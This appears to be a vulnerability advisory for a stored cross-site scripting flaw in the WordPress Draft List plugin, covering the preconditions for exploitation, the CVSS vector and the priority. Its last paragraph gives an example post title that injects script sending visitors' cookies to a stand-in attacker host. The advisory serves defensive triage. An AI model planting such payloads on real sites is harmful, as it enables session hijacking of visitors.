Draft List CVE-2026-49466

Exploitation requires three concurrent conditions: (1) the attacker holds at minimum a WordPress Contributor account on the target site - the CVSS PR:L confirms authenticated access is required and anonymous exploitation is not possible; (2) a site administrator must have configured the Draft List widget or [drafts] shortcode with a custom template option that places the {{draft}} placeholder inside an HTML attribute (this is a non-default, operator-defined configuration - sites using only default or text-node templates are not vulnerable); (3) a victim must actively visit the public page hosting the widget or shortcode (CVSS UI:R). Exploitation is bounded by the intersection of these three requirements: sites with no Contributor-level users, or those using only default templates, are not affected regardless of plugin version.

The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L) accurately captures the network delivery and scope change to the victim browser. The PR:L requirement is a meaningful real-world constraint: exploitation depends on holding at least Contributor access to the target WordPress site, which is not an anonymous or mass-exploitation primitive. Multi-author sites - particularly those accepting guest bloggers or user registrations - are the realistic attack surface. The triggering condition ({{draft}} placed inside an HTML attribute in the configured template) is non-default and operator-controlled, further narrowing exposed instances. No EPSS data was supplied; absent KEV listing and without known POC code, there is no signal of active exploitation, making this a site-specific risk rather than a broad campaign target. The C:L/I:L impact reflects realistic session hijacking or credential-phishing scope rather than full site compromise. Overall priority is moderate for multi-author WordPress deployments using Draft List with attribute-context templates, and low for single-author or default-template deployments.

A malicious Contributor creates a WordPress draft post with a title such as "><script>fetch('https://attacker.example/steal?c='+document.cookie)</script> - a payload containing a double-quote to close an HTML attribute. When the site's Draft List widget or [drafts] shortcode renders this title via a template with {{draft}} inside an attribute context (e.g., href or title), the raw title is inserted without escaping. Any visitor whose browser loads the public page containing the widget receives and executes the attacker's JavaScript, potentially exposing session cookies or enabling further account compromise.